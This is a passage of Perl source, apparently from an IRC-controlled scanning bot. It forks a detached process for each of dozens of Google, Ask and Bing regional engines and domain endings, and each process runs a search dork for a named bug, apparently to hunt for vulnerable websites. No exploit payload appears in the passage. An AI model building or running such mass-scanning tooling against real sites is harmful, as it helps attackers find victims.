(fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeDE",$type); } exit; } } if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeUK",$type); } exit; } } if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeFR",$type); } exit; } } if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeES",$type); } exit; } } if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeIT",$type); } exit; } } if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeNL",$type); } exit; } } if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeBE",$type); } exit; } } if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeCH",$type); } exit; } } if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeSE",$type); } exit; } } if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeDK",$type); } exit; } } if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeNO",$type); } exit; } } if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeNZ",$type); } exit; } } if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeIE",$type); } exit; } } if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeBR",$type); } exit; } } if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeAR",$type); } exit; } } if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeCO",$type); } exit; } } if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeCU",$type); } exit; } } if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeCL",$type); } exit; } } if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeMX",$type); } exit; } } if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeAU",$type); } exit; } } if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeRU",$type); } exit; } } if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeAT",$type); } exit; } } if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLePL",$type); } exit; } } if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeIL",$type); } exit; } } if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeTR",$type); } exit; } } if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeUA",$type); } exit; } } if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeGR",$type); } exit; } } if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeJP",$type); } exit; } } if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeCN",$type); } exit; } } if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeMY",$type); } exit; } } if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeTH",$type); } exit; } } if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeIN",$type); } exit; } } if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeKR",$type); } exit; } } if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeRO",$type); } exit; } } if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeTW",$type); } exit; } } if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLeZA",$type); } exit; } } if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLePT",$type); } exit; } } if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKCA",$type); } exit; } } if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKDE",$type); } exit; } } if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKIT",$type); } exit; } } if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKFR",$type); } exit; } } if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKES",$type); } exit; } } if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKRU",$type); } exit; } } if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKNL",$type); } exit; } } if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKUK",$type); } exit; } } if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKBR",$type); } exit; } } if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKPL",$type); } exit; } } if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKAU",$type); } exit; } } if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKAT",$type); } exit; } } if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKJP",$type); } exit; } } if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKSE",$type); } exit; } } if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKMX",$type); } exit; } } if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKNO",$type); } exit; } } if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsKDK",$type); } exit; } } if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingDE",$type); } exit; } } if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingUK",$type); } exit; } } if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingCA",$type); } exit; } } if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingBR",$type); } exit; } } if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingFR",$type); } exit; } } if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingES",$type); } exit; } } if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingIT",$type); } exit; } } if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingBE",$type); } exit; } } if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingNL",$type); } exit; } } if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingPT",$type); } exit; } } if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingNO",$type); } exit; } } if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingDK",$type); } exit; } } if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingSE",$type); } exit; } } if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingCH",$type); } exit; } } if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingNZ",$type); } exit; } } if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingRU",$type); } exit; } } if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingJP",$type); } exit; } } if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingCN",$type); } exit; } } if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingKR",$type); } exit; } } if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingMX",$type); } exit; } } if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingAR",$type); } exit; } } if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingCL",$type); } exit; } } if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingAU",$type); } exit; } } if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AE",$type); } exit; } } if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AR",$type); } exit; } } if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AT",$type); } exit; } } if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AU",$type); } exit; } } if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BR",$type); } exit; } } if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CA",$type); } exit; } } if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CL",$type); } exit; } } if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CN",$type); } exit; } } if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CoM",$type); } exit; } } if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CZ",$type); } exit; } } if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DE",$type); } exit; } } if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DK",$type); } exit; } } if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ES",$type); } exit; } } if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EU",$type); } exit; } } if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FR",$type); } exit; } } if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HU",$type); } exit; } } if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ID",$type); } exit; } } if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IL",$type); } exit; } } if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IN",$type); } exit; } } if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"InfO",$type); } exit; } } if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IR",$type); } exit; } } if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IT",$type); } exit; } } if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JP",$type); } exit; } } if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KR",$type); } exit; } } if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MX",$type); } exit; } } if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MY",$type); } exit; } } if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NeT",$type); } exit; } } if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NL",$type); } exit; } } if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OrG",$type); } exit; } } if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PH",$type); } exit; } } if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PL",$type); } exit; } } if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RO",$type); } exit; } } if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RU",$type); } exit; } } if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TH",$type); } exit; } } if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UA",$type); } exit; } } if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UK",$type); } exit; } } if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"US",$type); } exit; } } if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SI",$type); } exit; } } if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BE",$type); } exit; } } if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BIZ",$type); } exit; } } if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"XXX",$type); } exit; } } if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TEL",$type); } exit; } } if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TV",$type); } exit; } } if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CC",$type); } exit; } } if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MIL",$type); } exit; } } if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ASIA",$type); } exit; } } if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NAME",$type); } exit; } } if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PRO",$type); } exit; } } if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TRAVEL",$type); } exit; } } if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CAT",$type); } exit; } } if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JOBS",$type); } exit; } } if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MOBI",$type); } exit; } } if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AERO",$type); } exit; } } if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"COOP",$type); } exit; } } if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EDU",$type); } exit; } } if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GOV",$type); } exit; } } if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AS",$type); } exit; } } if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AI",$type); } exit; } } if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AG",$type); } exit; } } if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AZ",$type); } exit; } } if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BH",$type); } exit; } } if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BD",$type); } exit; } } if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BZ",$type); } exit; } } if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BO",$type); } exit; } } if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BA",$type); } exit; } } if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BW",$type); } exit; } } if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VG",$type); } exit; } } if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BG",$type); } exit; } } if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BI",$type); } exit; } } if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CO",$type); } exit; } } if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CD",$type); } exit; } } if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CG",$type); } exit; } } if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CK",$type); } exit; } } if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CR",$type); } exit; } } if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HR",$type); } exit; } } if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CU",$type); } exit; } } if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CI",$type); } exit; } } if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DJ",$type); } exit; } } if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DM",$type); } exit; } } if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DO",$type); } exit; } } if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EC",$type); } exit; } } if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EG",$type); } exit; } } if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SV",$type); } exit; } } if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EE",$type); } exit; } } if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ET",$type); } exit; } } if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FJ",$type); } exit; } } if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FI",$type); } exit; } } if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GM",$type); } exit; } } if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GI",$type); } exit; } } if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GR",$type); } exit; } } if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GL",$type); } exit; } } if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GT",$type); } exit; } } if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GG",$type); } exit; } } if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HT",$type); } exit; } } if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HN",$type); } exit; } } if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HK",$type); } exit; } } if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IS",$type); } exit; } } if 